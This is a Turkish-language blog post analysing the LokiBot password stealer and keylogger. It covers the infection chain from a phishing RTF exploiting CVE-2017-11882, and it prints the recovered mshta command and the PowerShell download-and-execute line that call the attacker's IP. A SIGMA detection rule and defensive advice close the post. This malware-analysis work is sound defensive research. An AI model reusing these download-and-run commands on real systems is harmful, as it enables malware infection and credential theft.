LokiBot Analizi


LokiBot

Giriş

2015 yılından beri faaliyette olan LokiBot zararlısı 2019 yılının en popüler zararlılarından biri oldu. Bulaştığı sistemdeki parolaları çalma ve keyloggerlık görevi yapan LokiBot, ilk çıktığı günden beri farklı mekanizmalar kullanarak yayılmaya devam etti. Diğer zararlılar gibi LokiBot’un da en çok kullandığı yayılma yolu oltalama mailleri oldu. Android tarafında da etkili olduğu gibi Windows tarafında da etkili. Bu yazıda Windows tarafındaki aktivitesi hakkında bilgi bulacaksınız.

Özet

Bu analiz 2015 yılından beri aktif olan LokiBot zararlı yazılımının neler yaptığını anlatmaya yöneliktir. Yazıda LokiBot nasıl yayıldığını ve sistem üzerinde neler yaptığını bulabilirsiniz. Kısa bir özetlemek gerekirse, zararlı oltalama mailleriyle yayılıp kurbanlarına iletiliyor. Ekte bulunan zararlı ofis dosyası açıldığında CVE-2017-11882 kodlu zafiyeti istismar ederek uzaktan PowerShell scripti indiriyor. İndirilen script çalıştığı zaman LokiBot zararlısını indirip çalıştırmaya başlıyor. Zararlının amacı uzaktan hedef sistemdeki parola, clipboard ve klavye hareketleri bilgilerini çalmak. Aşağıdaki görsellerde LokiBot’un zararlı aktivitelerini ve kullanılan MITRE ATT&CK tekniklerini bulabilirsiniz.







 Temel Bilgiler

İncelenen zararlıya ait detayları aşağıdaki tablolarda bulabilirsiniz.
initial.rtf
MD5
66fa7ddfeb6c0ec573e81278710c18a9
SHA-1
0237c9f7d0b609fb1f166f52a8d6abd4a57c688f
SHA-256
867386277589c08a2a334eb7809b93864c2ad997a9b12a12585ecea9a14a7db4
Dosya Türü
Rich Text Format
Dosya boyutu
248.01 KB









nup.exe
MD5
07f3636ed51253956e97c12f67c549a3
SHA-1
64efe8c323b756fb26bc915ddc0899fb9c2455c4
SHA-256
a0074172e1523132040cb1cde2bd9c382211f6c444bbb78af0929c973893e487
Dosya Türü
Win32 EXE
Dosya boyutu
748 KB





 Analiz

Oltalama maili ile gelen eki açtığımızda karşımızda bir adet RTF dosyası çıkıyor. Bu dosyayı açmadan önce any.run üzerinde çalıştırarak neler yaptığını görelim.


EQNEDT32.exe’yi çalıştırdığını görüyoruz. EQNED32.exe yani Equation Editoru görünce CVE-2017-11882 aklıma geliyor. Zafiyeti kısaca özet geçmek gerekirse Office üzerinde bulunan Equation Editor’de Font özelliğini buffer-overflow yöntemiyle kod çalıştırmamıza imkan sağlar. Geçen yazıda incelediğimiz dosya parola korumalıydı. Bu parola korumalı olmadığı için “rtfdump” yardımıyla dosyayı inceleyebiliriz.
python rtfdump.py -s a initial.rtf”

Dump aldıktan sonra dosyayı incelemeye koyuluyoruz. Burada gözüme mshta karakterlerinin sıralanışı çarpıyor.


Çalıştırılacak komut ayıklandığından elimizde mshta komutu kalıyor. Bu komut:


mShTA http://103.207.38.8:1010/hta &AAAAAAAA<0x12><0x0C>C”


Komut yukarıdaki IP adresinde bulunan hta dosyasını indirip çalıştırıyor. Hta “HTML Application”ın uzantısı olup, mshta ile çalıştırılabilir hale geliyor. Genellikle Jscript, VBScript gibi diller yazılmaktadır. Bu .hta dosyasına baktığımızda obfuscate edildiğini görüyoruz.



 Şimdi kodu analiz etmeye başlayalım. Script “replaceAll” ve “bas” adında iki tane fonksiyondan oluşuyor. Fonksiyonun adından da anlaşılacağı üzere obfuscate edilmiş string’te ilk argümandaki karakterler yerine ikinci argümandaki karakterleri koyuyor. “bas” fonksiyonu ise deobfuscation’ın yapıldığı fonksiyon. Bu fonksiyonuda 2’ye bölüp anlatmak istiyorum. replaceAll fonksiyonlarının bittiği satıra kadar bir parça fonksiyonun sonuna kadar bir parça olarak bölüyorum.
İlk parçada karakterlerin yerine başka karakterler konulduğunu söylemiştik. Fakat bu parçanın sonunda oluşan string değerine baktığımızda yabancı gelmeyen bir string görüyoruz.


Base64 ile encode edildiğini tahmin edip decode etmeden devam ediyoruz. Fonksiyona baktığımızda birtakım mantıksal işlemler yapıldığını görüyoruz. İlk bakışta banada çok anlamlı gelmemişti fakat yukarıdaki ipucundan sonra bunun base64 decode fonksiyonu olup olmadığını kontrol ediyorum ve farklı bir şekilde implemente edilmiş olduğunu görüyorum. İlk görselde base64’ün for döngüsü implementasyonu varken ikinci görselde saldırganların kullandığı base64 implementeasyonunu görüyoruz. 




Decode ettikten sonra aşağıdaki script karşımıza çıkıyor.

Bu scriptte cm değişkeninin içerisindeki PowerShell komutunun çalıştırıldığını görüyoruz. Çalıştırılan PowerShell komutu şu şekildedir:
powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('http://103.207.38.8:1010/get'));”

Verilen adresdeki dosyanın indirilip çalıştırıldığını görüyoruz. En son indirilen dosyayı incelemeye başlayalım. Ağır bir şekilde obfuscate edilmiş bir PowerShell scripti görüyoruz. Obfuscate edilmiş kısmın bir kısmını aşağıda görebilirsiniz.



 Adım adım bu betiği incelemeye başlayalım. İlk başta “.exe”nin base64 şekilde decode edildiğini görüyoruz.


 1841.satıra geldiğimizde RO ile başlayan fonksiyonu çağırdığını görüyoruz. Bu fonksiyon minimum 3 maksimum 5 karakter uzunluğunda rastgele bir string üretiyor.


 Public dizinine kaydetmek için biraz önce üretilen rastgele stringle beraber bunları birleştirip devam ediyor.


 Gördüğümüz uzun string decode edildikten sonra rastgele üretilen dosyaya yazılıyor.


Sonraki fonksiyona girdiğinde kaydedilen dosyanın uzantısını kontrol ediyor. Dll ise regsvr32 üzerinden çalıştırıldığını, exe ise normal çalıştırıldığını görüyoruz.


 Elimizde artık en son çalıştırılabilir dosya bulunuyor. Bu dosyanın yaptıkları klasik bir parola hırsızı zararlısının yaptıklarından çok farklı değil. Sistemde gezerek, parola ile ilgili dosyaları araştırıyor. Araştırdığı uygulamaları genel olarak web tarayıcıları, ftp uygulamaları, ssh uygulamaları oluşturuyor.












 Bunları aldıktan sonra uzaktaki sunucuyla iletişime geçiyor. C&C sunucusuna bazı POST istekleri attığını görüyoruz.


LokiBot için Uygulanabilecek SIGMA Kuralı

title: LokiBot
description: Detection of LokiBot
author: Burak ÇARIKÇI, CRYPTTECH
references:
- https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850
date: 2019/09/26
status: testing
logsource:
  product: windows
  service: sysmon
detection:
  selection1:
    EventID: "1"
    CommandLine:
    - GET /five
    - POST /five/fre.php
    selection2:
        EventID: 1
        ParentImage: '*\EQNEDT32.EXE'
  condition: selection1 and selection2
falsepositives:
- Unknown
level: high
mitre-attack:
  Execution:
  - User Execution
  - Command-Line Interface

Öneriler

  • Bilinçlenmek en büyük önlemlerden biridir. Dosyaları açarken daha dikkatli olmalıyız.
  • Şirket içi güvenlik politikası oluşturulmalıdır.
  • Bilmediğiniz kaynaklardan gelen dosyaları açmayın. LokiBot ve diğer zararlıların yayılma yollarından bir tanesi oltalama maillerini kullanmaktır.
  • Güvenmediğiniz dosyaları çevrimiçi araçlarla (VirusTotal, hybrid-analysis vb.) kolayca analiz edebilirsiniz.
  • Güvenlik ürünü kullanabilirsiniz.

Kaynaklar

  1. Loki-Bot: Information Stealer, Keylogger, & More!: https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850
  2. Hijacked LokiBot analysis: https://github.com/d00rt/hijacked_lokibot_version
  3. İncelene zararlının any.run linki: https://app.any.run/tasks/2103dc0e-b4ae-4187-93ac-e13201e7f0bc/
  4. İncelenen zararlının hybrid-analysis linki: https://www.hybrid-analysis.com/sample/a0074172e1523132040cb1cde2bd9c382211f6c444bbb78af0929c973893e487?environmentId=100


Burak ÇARIKÇI
Bilgi Güvenliği Mühendisi

Yorumlar

Bu blogdaki popüler yayınlar

1. Geleneksel Stajyer CTF Soru ve Cevapları

B*-Tree (BTree, BPlusTree) Veri Yapısı ile Veri İndeksleme

2. Geleneksel Stajyer CTF Soru ve Cevapları - 2017